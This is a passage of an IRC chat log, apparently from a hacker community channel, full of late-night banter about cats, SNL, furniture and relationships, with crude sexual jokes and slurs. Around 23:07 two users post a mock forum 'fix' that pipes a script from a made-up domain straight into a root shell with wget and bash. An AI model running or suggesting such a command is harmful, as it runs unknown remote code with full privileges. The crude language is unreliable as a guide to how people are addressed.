22:48 < Mercster> they complain/protest but they appreciate it
22:49 < Mercster> sdodson: 'xdpyinfo -display :0.0' should work from anywhere
22:49 <+TelcoBob> Mercster: if my animals are like me, they only like "discipline" in the bed room hah
22:49 <+TelcoBob> ;)
22:49 < Mercster> or, wherever the display is
22:49 < Mercster> TelcoBob: you dirty dawg!
22:50 <+TelcoBob> shhh dont tell sdodson he'll get to many ideas
22:50 <@rhia> TelcoBob: that Is what bleach is for, but, .... not when a turkey is thawing in the sink ;)
22:51 <@rhia> mom left a turkey to thaw, went to bed, woke up with 3 Very Fat bellied cats and 1/2 a raw turkey .... we had ham for xmas that year <g>
22:51 < Mercster> TelcoBob: ive been trying to seduce sdodson myself, he seems frigid, i wouldnt worry about it
22:52 <+TelcoBob> Mercster: give him a few drinks and a mickey, becasue that worked last time when me him Alstrowger and the rest were at that bar
22:52 <@rhia> she had sprayed the cover with pepper spray, but one of the cats used to eat her jalapenos off the plant - no workie
22:53 <+TelcoBob> rhia: thats a harcorde cat
22:53 <+TelcoBob> hardcore*
22:53 <+TelcoBob> haha i dig that :)
22:54 <+eryc> wtf kind of name is alstrowger
22:55 < Mercster> eryc: gay, like all irc nicknames
22:55 <+TelcoBob> eryc: from Almon strowger, creater of the SxS switch
22:55 <@scort> hi
22:55 < Mercster> heya shitcoil
22:56 < Mercster> whatsup
22:56 <@scort> no u Mercster.
22:56  * scort slaps Mercster around a bit with a large trout.
22:56 < Mercster> :(
22:59 <@sdodson> http://www.graphics-muse.org/wp/?p=202  hardlulz, setting sysctl variables from rc.local
22:59 <@sdodson> sounds like some ubuntuization you'd find on some forum
23:00 < Mercster> sdodson: thing about ubuntu, every possible problem, or issue permutation in existence, will invariably show up on an ubuntu forum
23:05 < Mercster> it could be a QNX cross-compilation issue under AmigaDOS concerning big-endian float values inside a byte-compiled ruby-on-rails utility for modifying SunOS boot sectors
23:05 < Mercster> an ubuntu forum post will cover it
23:05 <+eryc> heh
23:07 <@sdodson> with the solution being "sudo wget -O - http://notahaxor.com/zombie.sh | /bin/bash"
23:07 <@sdodson> and 1000 comments "ZOMG THANKS DOOD THAT WORKED!"
23:07 <+eryc> hm.. fail
23:08 < Mercster> if that url worked, yeah, maybe
23:08 <+eryc> wget -O - http://notahaxor.com/zombie.sh | sudo /bin/bash
23:08 <+eryc> mo betta
23:09 <@Dagmar> No DNS
23:09 <@Dagmar> I thought it was Verisign blocking me
23:10 <@sdodson> And I was hoping it was Verisign blocking you.
23:10 <@sdodson> wtf kanye west is on SNL AGAIN?!
23:10 <+eryc> i can put a sign on their door if u want
23:10  * Mercster shits on kanye
23:10 <+eryc> they are like 2 blocks from my house
23:10 <@sdodson> kaptain uzeless
23:10 <@Dagmar> Well, let 'em know their DNS is mucked up
23:11 < Mercster> talentless idiot
23:11 <@sdodson> wtf is this shit
23:11 <@sdodson> i'm going to have a seizure
23:11 <@sdodson> brb, finding spoon for my throat
23:11 <@rhia> ???
23:12 < Mercster> yeah
23:12 < Mercster> im not even sure this is music
23:12  * Mercster diez
23:12 <+TelcoBob> hahah gag me with a spoon
23:12 <+TelcoBob> sdodson: your such a valley girl
23:12 < Mercster> TelcoBob: ill gag you with something else, big boy
23:13 <+TelcoBob> oh shh, dont get me all worked up at this hour
23:13 <@Dagmar> rhia: I wanted to know what the hell that zombie.sh script actually did, but since I can't download it because notahaxor.com is broken that's out
23:13 <+eryc> TelcoBob: is this you? http://failblog.files.wordpress.com/2008/12/fail-owned-myspace-your-mine-tattoo-spelling-fail.jpg
23:13 < Mercster> sdodson: this is embarrassingly bad
23:14 < Mercster> thank the lord, it's over
23:14 <@sdodson> Mercster: And those fucking sunglasses.
23:14 <+TelcoBob> eryc: i wish i was that slkinny :-p
23:14 < Mercster> i wish that guy would go away
23:14 <@sdodson> I don't understand today's sunglass fashion.
23:14 < Mercster> sdodson: who knows
23:14 <@sdodson> I'm going to corner the market by making portable windshields.
23:14 < Mercster> sdodson: whatever trends kanye is either setting or following, i want no part
23:14 <@sdodson> It's going to be like a fucking welder's mask.
23:14 < Mercster> haha
23:14 <+TelcoBob> sdodson: everyone knows that rayban wayfarers are the way to go and will always be the definition of cool
23:14 < Mercster> sdodson: yeah, the welder's mask
23:14 < Mercster> the full head thing
23:14 <@rhia> Dagmar: um.... ??? were to sdodson, sorry
23:14 < Mercster> that should be the new fashion
23:15 <+eryc> http://www.shadesoffun.com/Nov-CP/wiper_sunglasses.html
23:15 <@sdodson> TelcoBob: no, whatever you're doing will be the definition of cool
23:15 < Mercster> im willing to blindly copy TelcoBob
23:15 < Mercster> im sure everyone feels the same
23:15 <@sdodson> That's awesome, I trolled dagmar unintentionally even while he has me ignored.
23:15 <+TelcoBob> sdodson: i accually got me a pair of wayfairers for christmas, but not the sunglasses, im gonna bust it up woody allen style
23:15 < Mercster> sdodson: ohhh...he has me on ignore too, i didnt know it was a party
23:16 < Mercster> sdodson: i thought i was just the fucking annoying new guy
23:16 <@Dagmar> This one is awesome http://failblog.org/2008/12/12/hunting-fail-2/
23:16 <@sdodson> Not JUST, but the rest is true
23:16 < Mercster> nod
23:16 < Mercster> ;-)
23:16 <+eryc> Dagmar: ah, sdodson made up that domain re: ubuntu
23:17 <+eryc> Mercster and sdodson are having a party now
23:17 <+eryc> :)
23:17 <+TelcoBob> sdodson: wanna dress up as luigi and meet me down at the gokart track tomorrow with a bunch of bannanas?
23:17  * Mercster waves glowsticks around
23:17 <@Dagmar> eryc: Well, I'm sure their children will all be geniuses
23:17  * Mercster aims pelvic thrusts at eryc 
23:17  * Mercster rapes Dagmar's mouth
23:17  * Mercster whistles innocently
23:17 <@sdodson> hah, snl has the calling in gay thing on
23:17 < Mercster> sdodson: heh, yea
23:17 < Mercster> "gay days":
23:20 < Mercster> haha
23:20 < Mercster> you bet it is!
23:20 <@sdodson> TelcoBob: tell me more
23:21 <+TelcoBob> i want to go to one of the tracks around here with the crew and do real like mario kart
23:21 <@rhia> TelcoBob: any blue shells to throw?
23:21 <+TelcoBob> like chick could be the princess, nick could be wario
23:21 <+TelcoBob> rhia, im all out, but we so could bring bannas
23:22 <+TelcoBob> banannas
23:22 < Mercster> "im a blind man who loves cocaine"
23:22 <@rhia> bananas =)
23:23 <+TelcoBob> i have a really weird relationship with bananas
23:23 < Mercster> that brings so many disturbing images to mind
23:23 <+TelcoBob> on one hand, i love how they taste, on the otehr im allergic to most fruit
23:23 < Mercster> and that didnt help
23:23 <+TelcoBob> haha h they make my throat get really tight >_<
23:23 <@rhia> TelcoBob: heh      just remember   ba   na   na   ;)
23:23 < Mercster> TelcoBob: will you date me?
23:23 <@Drag0n> ring, ring, ring....banana-phone
23:24 <+TelcoBob> rhia: sweetheart, if your talkign about my horrible bananannanna spelling, im to stoned to work to think that far into it :(
23:24 <+TelcoBob> Mercster: omg liek a/s/l
23:24 < Mercster> 31/hot/knoxville
23:24 <+TelcoBob> liek wanna c1b3r?
23:24 < Mercster> as long as you keep talking about bananas, YES
23:24 <@sdodson> TelcoBob: Hmm, a bit of a short notice
23:25 <@sdodson> does sound like fun none the less
23:25 <+TelcoBob> sdodson: well i think we should do it
23:25 <@rhia> TelcoBob: s'ok..... guess you're too stoned for the split reference ;)
23:25 <+TelcoBob> hhah pluss they have that rtack in smithfield with the karts that do like 40
23:25 < Mercster> sdodson: it's not like you have anything else to do
23:25 <@sdodson> Mercster: I'm trying to spend tons of money tomorrow
23:25 <+TelcoBob> rhia: indeed, but its ok because i love you hah
23:25 < Mercster> sdodson: i hear ya
23:25 <@sdodson> I needs me some furniture
23:25 <@rhia> sdodson: the rhia poverty fund needs $$$$ ;)
23:26 < Mercster> sdodson: walmart harkens
23:26 <@sdodson> bed, dining room, spin fuck chair
23:26 <+TelcoBob> sdodson: what are you looking for? weve got some shit we dont need here
23:26 < Mercster> hearkens/>
23:26 < Mercster> whatever
23:26 <@rhia> can sell you a double bed, some book cases, a 99 Grand Am.....
23:26 <+TelcoBob> sdodson: you dont have a bed?
23:26 <+TelcoBob> that makes me sad :(
23:26 <@sdodson> TelcoBob: I have my old bed, but I'd like to move that into the second room and get a queen sized bed for myself.
23:26 <+TelcoBob> we can share mine
23:26 < Mercster> i sleep on my couch
23:27 < Mercster> cuz im classy like that
23:27 <@rhia> TelcoBob: <3 =)
23:27 <+TelcoBob> sdodson: id say you can cheap out and get a hammack, but i did that for a year and my back still hates me
23:27 < Mercster> rhia: bitter apple, yea or nay
23:28 < Mercster> awww
23:28 < Mercster> amy poehler
23:28 <@rhia> TelcoBob: hammocks work best when little tiny women walk on your back the next morning - d'uh
23:28 <+TelcoBob> rhia: know any little tiny women in raleigh? hah
23:28 <@rhia> raleigh?  sorry
23:29 <@rhia> got some names in Dallas
23:29 < Mercster> she will be missed
23:29 <@sdodson> i need a tiny woman
23:29 <@sdodson> that'd look so odd
23:29 < Mercster> sdodson: vietnam
23:29 <+TelcoBob> sdodson: Al
23:30 <+TelcoBob> if you dont mind the leg hair
23:31 <@rhia> TelcoBob: and the raging hardon
23:31 <@rhia> but, details, details
23:31 < Mercster> ladies with boners :-/
23:31 <+TelcoBob> rhia: omg only if you knew
23:31 <@sdodson> Al freaks me out.
23:32 <@rhia> sdodson: worse than HugMe?
23:32 <@sdodson> He always looks at me and says he likes me because I'm smart or something.
23:32 <+TelcoBob> so i staed in a hotel room with him once, but he was only going to pay for me if i modeled these skimpy underware he bought me for him
23:32 <+Synx_hm> anyone know about how long it takes to become brain dead after the heart and lungs cease to function?
23:32 <@sdodson> rhia: I've only met hugme in his later years
23:32 < Mercster> sdodson: he's normal in the gay matrix
23:32 <+TelcoBob> halfway through it hit me...
23:32 <@rhia> c'mon, HugMe's a sweetie
23:32 <+TelcoBob> he might be trying to seduce me
23:32 <@rhia> sdodson: ahh, pre-fiance/marriage .... ahhh, well
23:33 <+TelcoBob> sdodson: have you ever met business al though? he is the straightest man eber
23:33 < Mercster> does Al ever show up in #se2600?
23:33 <@sdodson> TelcoBob: no, i'd really like to meet him in a professional setting.
23:33 <@rhia> TelcoBob: might??
23:33 <+TelcoBob> no Al is afraid of IRC hes only gotten on when i promimsed him oral sex
23:33 <+TelcoBob> rhia: :-p
23:33 <@rhia> TelcoBob: were you breathing? <g>
23:34 <@Catonic> hard.
23:34 < Mercster> TelcoBob: well that'd get anyone to log in
23:34 < Mercster> Catonic: SHUT UP
23:34 < Mercster> Catonic: j/k
23:34 <+TelcoBob> Catonic: have you ever thought about making a rap video?
23:34 <+scribbles> ...
23:34 <+scribbles> wtf goes on around here
23:35 < Mercster> scribbles: bad things
23:35 <@rhia> scribbles: about this, plus some geek stuff occasionally
23:35 <+scribbles> I'm not sure who is male/female or who is gay/straight
23:35 < Mercster> i am male and curious
23:35 <@rhia> scribbles: does it really matter?
23:35 <+TelcoBob> scribbles: its all secret code, we are accually talkign about 0day
23:35 <+scribbles> Mercster: I'm not surprised!
23:35 <+TelcoBob> were like navajo code talkers, but sexier
23:35  * Mercster winks
23:35 <+Synx_hm> werd
23:35 <@Catonic> TelcoBob: not really
23:36 <@rhia> TelcoBob: i dunno, some of those code talkers were hot ;)
23:36 <+TelcoBob> scribbles: i am a male, and i am really straight...until i drink, smoke, eat, or breath...or something like that
23:36 <@Drag0n> scribbles, that takes all the fun out of the discovery
23:36 < Mercster> sdodson: this SNL is thoroughly mediocre
23:36 <+scribbles> I'm like a bourbon drinker, only not a full fledged alcoholic.
23:36 <@Catonic> I haven't slept in I don't remember how long
23:36 <@Catonic> I've been up more than 24 hours
23:36 <+scribbles> I'm not sure what that was supposed to mean
23:36 < Mercster> scribbles: i used to drink ~2 pints of vodka a day, and it killed my pancreas, so now i drink beer
23:36 <+scribbles> but it seemed to make a point.
23:36 < Mercster> Catonic: party on
23:37 <@rhia> scribbles: fwiw, if it helps you, i'm the crazy ol' cat lady on hill - minus the hill
23:37 <+TelcoBob> Catonic: masterbatathon?
23:37 <@Catonic> Mercster: if not for diet coke and jelly beans, I'd have put my car in a field
23:37 <+scribbles> every society requires a cat lady!
23:37 < Mercster> im still trying to get rhia to tell me how she feels about bitter apple as a deterrant
23:37 <+TelcoBob> rhia: like the cat lady on the simpson?
23:37 < Mercster> Catonic: haha...jelly beans, really...
23:37 <@Catonic> scribbles: she lives below me. Her and all six cats.
23:37 < Mercster> rhia: is bitter apple cruel?
23:37 <+scribbles> I fucking hate cats
23:37 <@rhia> scribbles: but gender ain't nothing but a thang, so who cares?
23:37 <+scribbles> and honestly
23:37 <+scribbles> I fuckin hate cat people
23:37 < Mercster> scribbles: they're easier than dogs
23:37 <@rhia> scribbles: Die!  hehe
23:37 <+scribbles> I like dogs.\
23:37 <@Catonic> dogs are social animals
23:37  * TelcoBob is a cat person
23:38 <+scribbles> I like hiking with dogs.
23:38 <@Catonic> cats are not
23:38 <+scribbles> I prefer social animals
23:38 <@sdodson> We can fix gender, we have the technology.
23:38 <+scribbles> and irc'ers and cats get along great usually
23:38 <@Catonic> I don't like cats, but I love pussy
23:38 <@rhia> scribbles: cats like litter boxes and a lot of sleep, dogs need walks at 4 am
23:38 <+scribbles> because neither can fucntion in normal society
23:38 <@Drag0n> dogs are subservient yes creatures with no sense of independence
23:38 <+scribbles> cat people or cats
23:38 < Mercster> people think cats are smart, but they're not...they rely on instinct more than a dog does, which at times make them seem like they're more intelligent.
23:38 < Mercster> but dogs are actually much smarter than dogs
23:38 < Mercster> er
23:38 <+Synx_hm> i cannot get enough of Yoshimi Battles the Pink Robots
23:38 < Mercster> but dogs are actually much smarter than cats
23:39 <@rhia> scribbles: shhh, your feline overlords may be watching
23:39 <+scribbles> Cat people are odd introverts that socierty rejects
23:39 <+Synx_hm> what ever scribbles
23:39 <+scribbles> dogs can at least carry their own food and water on a hike
23:39 <+Synx_hm> cats kick ass
23:39 <+TelcoBob> Mercster: but pigs aresmarter than dogs, but does that mean you want one sleeping on the end of your bed
23:39 <+TelcoBob> or something like that
23:39 < Mercster> TelcoBob: point
23:39 <+Synx_hm> dogs need constant support and attention
23:39 <+scribbles> Synx_hm: whatever helps you justify your lack of a sex life
23:39 <+Synx_hm> cats can do their own things and get along just fine
23:39 <@rhia> scribbles: married to Drag0n - no lack of sex life
23:39 < Mercster> i didnt mean to say cats were bad pets, just that they arent that intelligent ;-)
23:39 <+Synx_hm> i have plenty of sex with your mom
23:39 < Mercster> i love my kitty
23:39 <+Synx_hm> oh oh
23:40 <+Synx_hm> oh i just went there
23:40 <+Synx_hm> ;)
23:40 < Mercster> my apartment is too small for a dog
23:40 <+TelcoBob> Mercster: i think your a bad pet :(
23:40 <@Drag0n> thats fine, cats dont need you either scribbles
23:40 <+scribbles> irc marriage != sex
23:40 <+scribbles> hahaha
23:40 <+Synx_hm> hehe
23:40 <+scribbles> ^5
23:40 <+scribbles> you know, you're probably right
23:40 <+TelcoBob> rhia: does marrage really suck as much as they say?
23:40 <@Drag0n> no, real life marrage, were in the same room
23:40 < Mercster> TelcoBob: i will be a good pet for you if you buy me a dell mini
23:40 <+scribbles> Drag0n: I don't doubt that at atll
23:40 <+scribbles> err all
23:40 <+scribbles> sorry the bourbon encourages me to hit more than one key at once
23:40 <+scribbles> !!!
23:40 <@rhia> scribbles: um, real life marriage as in Drag0n is ... 3 feet from me right now, MUCH closer later tonight
23:41 < Mercster> Drag0n: how does rhia feel about bitter apple as a deterrant?
23:41 <@rhia> TelcoBob: sucks? only when he wants ;)
23:41 <+Synx_hm> scribbles: nice what ya drinking, i am a scotch guy myself
23:41 <+TelcoBob> rhia: taht statement is worthless with otu pictures...i think...i dont knwo what you two look like :-p
23:41 <+TelcoBob> rhia: perfect1 hah, accually im underpressure to slip a ring on a finger, and i dont really knwo how i feel abotu it hah
23:42 <+Synx_hm> TelcoBob: where ya live?
23:42 <@rhia> TelcoBob: phreaknic   3?   search, photos ... also, maybe, atlantacon
23:42 < Mercster> TelcoBob: does she make a decent sandwich?
23:42 <+scribbles> BIRTHDAY GREETINGS BOTTLE OF WINE!
23:42 < Mercster> TelcoBob: and will she make said sandwiches in the nude?
23:42 <+TelcoBob> Synx_hm: wake forest NC
23:42 <+scribbles> WILL YOU STILL NEED ME WILL YOU STILL FEED ME WHEN IM'
23:42 <+Synx_hm> TelcoBob: cool
23:42 <+scribbles> SIXTY FOUR
23:42 <+TelcoBob> Mercster: im the cook :-p
23:42 < Mercster> scribbles: good song
23:42 < Mercster> TelcoBob: ouch
23:42 <+scribbles> 10/4!
23:43 <+Synx_hm> man this chan is on fire tonight
23:43 <+scribbles> high quality alcohol + the beatles on your a bose sounddock = win
23:43 <+Synx_hm> a light with all sorts of happyness
23:43 < Mercster> Synx_hm: wherever i am is a fuckin' party
23:43 <+Synx_hm> ;)
23:43 <@sdodson> my co-worker rails on bose stuff all day.
23:43 < Mercster> scribbles: bose? reallty?
23:43 < Mercster> sdodson: haha
23:43 < Mercster> yeah
23:43 < Mercster> i was thinking the same thing
23:43 < Mercster> im sure id love a bose thing, but audiophile ppl hate it
23:43 < Mercster> it's an obsession
23:43 <+scribbles> audiophiles are assholes
23:44 <@sdodson> he said most of the feel of their stuff comes from chopping out a lot of the spectrum
23:44 <+Synx_hm> my roomate is much fonder of my senhinser (sp?) cans
23:44 < Mercster> if you mention bose to a audiophile, they start projectile vomiting
23:44 < Mercster> scribbles: true
23:44 <+scribbles> if its good enough to excite me when I'm drunk
23:44 <+scribbles> its good enough for me!
23:44 <+TelcoBob> rhia: eh to much work hahah, ill just imagine you both being really really really hot asian lesbians
23:44 <+scribbles> I'm liking you folks
23:44 <+Synx_hm> Mercster: B@W w00t
23:44 < Mercster> scribbles: i support you
23:44 <+scribbles> haha
23:44 <+scribbles> ^5 Mercster
23:44 <+TelcoBob> Mercster: no i love to cook, and she cant, so it works out nicely
23:44 < Mercster> ^5
23:44 < Mercster> TelcoBob: so ahh...what does she do...besides the obvious
23:44 <+Synx_hm> wait i thought TelcoBob was dateing a dude?
23:44 < Mercster> can she juggle?
23:45 <@rhia> Mercster: fyi, not on ignore, just mentally ignoring you - bitter apple on surfaces, if it works, ok, on the Cat? fuck no - that is all, thakyouverymuch,g'nite
23:45 < Mercster> rhia: lol...not on the cat...plz dont ignore me :(
23:45 <+scribbles> oh god! I'm running out of Gentleman Jack!
23:45 < Mercster> im a nice guy
23:45 <@rhia> TelcoBob: won't harm your image, but .... not even a cigar on the asian lesbian theme
23:45 <+TelcoBob> Mercster: shes accually pretty amazing, weve been dating on and off for 5 years (a two year break in which we saw other people)
23:45 <+TelcoBob> rhia: psh dont lie to me
23:45 < Mercster> TelcoBob: alrighty
23:46 <+Synx_hm> TelcoBob: serious question... you think that 2 years helped the relationship?
23:46 <+TelcoBob> Synx_hm: oh yea
23:46 <@rhia> TelcoBob: i'm so baltic i tan under a 40 watt incandescent
23:46 <+TelcoBob> a fuck load
23:46 <+scribbles> anyone seen the Dialog in the Dark exhibit at Atlantic Station?
23:46 <+Synx_hm> TelcoBob: cool i had a feeling that might be the case maybe its time to get back with the x ;)
23:46 <+TelcoBob> rhia: that could either be really hot or really scary
23:47 <+scribbles> 99% chance its really scary
23:47 < Mercster> rhia: are you a slav?
23:47 <@rhia> TelcoBob: think a blond Morticia
23:47 <+TelcoBob> hahah so that hauntingly hot look?
23:47 <@rhia> scribbles: and you'd be 80% right ;)
23:47 <@sdodson> i thought you had black hair
23:47 <+TelcoBob> hah groovy
23:48 <+Synx_hm> btw where the fuck is pig?
23:48 <@rhia> sdodson: natural blond, dye blood red (when i feel like it)
23:48 <@rhia> Mercster: Baltic, not Slavic - reading is fun-damental, k
23:49 <@rhia> Synx_hm: log onto WoW
23:50 < Mercster> rhia: well, come on, give me a tad of a break...baltic/slavic is close
23:50 < Mercster> rhia: will you adventure with me in WoW?
23:50 <@sdodson> baltic as in mediterranean ave!
23:50 < Mercster> sdodson: damn you
23:50 < Mercster> DAMN YOU SIR
23:50 <@sdodson> that'll be $60
23:50  * Mercster pays sdodson rent
23:51 <+Synx_hm> rhia: haha really i guess that doesn't surprise me
23:51 <+Synx_hm> warhammer is all the range these days though btw ;)
23:52 <@rhia> sdodson: heh, Baltic as in mostly Lithuanian - with some German and a touch of western (Scot/Irish)
23:52 < Mercster> im german irish, with a bit of polish
23:53 <@rhia> lets just say the illinois gov's name is NOT hard for me to pronounce - it's said the way it's spelled
23:53 <@sdodson> During World War II, the dice in the United Kingdom were replaced with a spinner because of a lack of materials.
23:53 <@rhia> course, my maiden name is 10 letters, mostly consonants
23:55 < Mercster> hot
23:55 <@rhia> uncles are Emuntas, Vitatus, and Jonishska
23:57 < Mercster> sdodson: this is almost sadder than the first song
23:58 <@rhia> Jonishsva, rather
23:58 <@sdodson> Mercster: i switched back to ota after realizing i was missing something then switched back to working on mythtv
23:58 < Mercster> rhia: my mom's maiden name was zalinski
23:59 < Mercster> sdodson: past 2 SNLs were infititely superior to this one
23:59 < Mercster> too bad actually, since hugh laurie coulda been put to good use
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